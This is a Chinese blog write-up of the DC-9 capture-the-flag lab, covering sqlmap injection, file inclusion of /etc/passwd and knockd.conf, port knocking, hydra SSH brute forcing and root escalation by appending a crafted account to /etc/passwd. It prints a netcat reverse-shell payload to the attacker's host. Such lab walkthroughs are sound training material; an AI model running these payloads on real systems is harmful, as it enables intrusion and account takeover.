DC-9 渗透测试

冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已。

靶机IP: 172.66.66.139

kali IP: 172.66.66.129

网络模式 NAT

netdiscover

拿到靶机ip 172.66.66.139

nmap -sV -A -p- -oN /tmp/dc-9.nmap

22端口的状态时 filtered (被过滤的,不能确定是否开放)。80开放。

#看到 SSH的22端口是filtered ,猜想是否装了 knockd 工具隐藏了服务
/etc/knockd.conf

dirb http://172.66.66.139 没有发现重要信息

访问80端口,未能识别出CMS 名称。

首页是 exmple.com 全体员工信息,还有展示、搜索、登录三个界面,研究一下网页源代码。

RFC 2606RFC 6761所述,为了文档目的,保留多个域名,如example.com和example.org。这些域可以在文档中用作说明性示例,而无需事先与我们协调。它们无法注册或转让。

先尝试注入,再账号密码爆破,因为有用的信息太少了。bp抓包开起来。

搜索框注入无果.....

我嘞个去...瞎了瞎了 ,搜索框所在的页面是 /search.php ,抓包看了下,没注意请求头 的是 /results.php

仔细看,

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

仿佛都是普通用户,随便一个试试 marym | 3kfs86sfd 登不进去...换一个数据库看看。

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump

爆出来,admin: transorbital1

发现没有过滤? 写个反弹shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>



字段有长度限制...查看源代码发现不是 前端限制,那应该是后端的长度限制,这时候考虑拼接传入shell

行吧,暂时考虑不出来,我太菜了。

看到网页底部脚标的footer标签 <footer>File does not exist</footer>

难道是有文件包含吗?,整一下试试。盲猜一下是 ?file= ,再试路径

试出来url :?file=../../../../etc/passwd 。当包含不出来的时候,别着急,多试试,多写几个点点杠进去

服务器是Apache,试着包含一下配置文件,尴尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...

在/etc/passwd 中,发现了一些账号是在前面的sqlmap中爆破出来的,他应该是ssh登录的账号,但是ssh好像是关闭的,不对呀,有情况。

因为ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件 /etc/knockd.conf?file=../../../../etc/knockd.conf

这样看着有点乱,拿出来看调整一下格式,加入自己的理解,如下:

[options]
UseSyslog [openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn [closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn

解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

1) 使用7469/8475/9842队列号敲门登录:

nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done

关闭的话也同理: 使用9842/8475/7469队列号关门

for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done

ssh打开之后,账号密码登录。在上面的sqlmap爆破中我们

| username | password |

+--------------+---------------+

| marym | 3kfs86sfd |

| julied | 468sfdfsd2 |

| fredf | 4sfd87sfd1 |

| barneyr | RocksOff |

| tomc | TC&TheBoyz |

| jerrym | B8m#48sd |

| wilmaf | Pebbles |

| bettyr | BamBam01 |

| chandlerb | UrAG0D! |

| joeyt | Passw0rd |

| rachelg | yN72#dsd |

| rossg | ILoveRachel |

| monicag | 3248dsds7s |

| phoebeb | smellycats |

| scoots | YR3BVxxxw87 |

| janitor | Ilovepeepee |

| janitor2 | Hawaii-Five-0

这么多个账号,怎么知道哪个账号是可以登录的呢?当然可以逐一去试,还有别的办法吗?当然有,hydra

hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30

[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!

[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd

[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee

仔细看每一个账号里的文件,检查。用 ls -alF看到

cat passwords-found-on-post-it-notes.txt

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

| bettyr | BamBam01 |

| joeyt | Passw0rd |

| phoebeb | smellycats |

在数据库爆出的账号中匹配到了三个,检查完当前账号后去看看这三个账号。

joeyt是前面hydra出来能登录的其中一个,上面的密码中,也只有这个能登录。

正经开始提权:收集有用信息

joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67

提权整了半天,没进展,回过头来看,刚刚拿到的密码,难道没有其他用处了吗,要不要加进去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是没想到呀。

fredf : B4-Tru3-001 第一个账号是新的,ssh登录

仿佛有希望。到该目录下研究研究test。

fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test

linux里 .so 后缀文件是啥东东?

一般来说, .so 是基于linux下的动态链接,其功能相和作用相当于windows.dll文件。

linux 中的.so和.a文件 - 心田居士 - 博客园 (cnblogs.com) 看这里。

/opt/devstuff/dist/test/test 这一层好像没什么好看的,

SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。

#在这一级看到了  test.py
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read()) f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
------------------------------------------------------------
#只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

先来学习:sys.argv[ ],是一个从外部程序获得参数的桥梁,获取的参数可以是多个,所以它会是一个列表(list),也就是说,sys.argv其实是一个列表,用[ ] 提取其中的元素,第一个元素 sys.argv[0] 是程序本身,后面才是一次输入的外部参数。

#test.py
inport sys
a=sys.agrv[0]
print(a) # 输出 test.py,也就是说sys.agrv[0] 的值是文件本身
#########################
#改一下代码
#test.py
inport sys
a=sys.agrv[1] #从sys.argv[1]开始才是传入的参数
print(a)
# 测试传参what输进去:test.py what
# 输出 就是 what

回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。

写之前是不是得先生成一个加密后的密码呢? linux里有个 openshell ,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5

root@kali:~# openssl passwd -1
Password: #123456
Verifying - Password: #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0

openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

-1:表示采用的是MD5加密算法。

-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:

[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度

Password: ##这里输入的是密码

$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码

##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。

先试试不加密码的账号,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'

怎么不行呢...阿裂开,双引号用错了,得用单引号......

passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash

再对比一下 passwd 文件里的 root 的是怎样的

root:x:0:0:root:/root:/bin/bash

仿佛是命令用错了,改一下 openssl 的命令,加点盐,写上用户。

openssl passwd -1 -salt ccc 123456 ##构造ccc用户密码为123456的hash

ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash

最后:

  1. 对文件包含敏感度不够,看到 脚标 的File does not exist,竟然没有意识到 文件包含。
  2. 归纳总结:/etc下有什么重要的文件,都累出来。(详情出门右转个人笔记),也可以爆破,也是能出来
  3. 看到有文件包含,就先用fuzz来跑一跑。
  4. hydra 账号密码爆破工具,支持多种协议。
  5. 以后用ls 命令,建议都用这个 ls -alF -a显示隐藏文件, -l显示文件详细信息, -F显示文件的类别(文件夹后有/,可执行文件前有*,文件等,看到你就知道了)
  6. su - root切换到root用户,并改变环境变量。
  7. DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已啊。

最新文章

  1. 2016huasacm暑假集训训练五 G - 湫湫系列故事——减肥记I
  2. Android中的DrawerLayout
  3. yii accessRules用法
  4. 【转】Linux下怎样检查、如何查看某软件包是否已经安装?
  5. poj 1936 All in All
  6. Magento:Paypal付款不成功返回后不要清空购物车产品的解决方案
  7. per-project basis
  8. (五)Struts2 标签
  9. 详细介绍如何使用kindEditor编辑器
  10. .net 读取实体属性和描述注释
  11. 将DLL文件直接封装进exe执行文件中(C#)
  12. bzoj 3894: 文理分科
  13. H5 音频标签自定义样式修改以及添加播放控制事件
  14. javascript自制函数图像生成器
  15. Java基础语法入门
  16. bootstrap-fileinput文件上传控件的亲身实践
  17. [原]openstack-kilo--issue(十九) ImportError: Could not import settings &#39;openstack_dashboard.settings&#39; (Is it on sys.path? Is there an import error in the settings file?): No module named main
  18. TP 真阳性 TN FP FN
  19. VMware&#160;创建VMware9虚拟机及设置详细教程
  20. python group()--转载

热门文章

  1. 实现SLIC算法生成像素画
  2. ClickHouse学习系列之五【系统库system说明】
  3. count、counta函数巧妙运用于合并单元格填充序号
  4. 资源:Postgresql数据库下载路径
  5. [心得笔记]Java多线程中的内存模型
  6. SpringMVC的注解关键词解释
  7. 1.3.3、通过Header属性匹配
  8. Java实验项目三——平面图形和立体图形抽象类
  9. 文末送书四本 | 这篇Java反射机制太经典!不看后悔!
  10. 比较app版本大小----python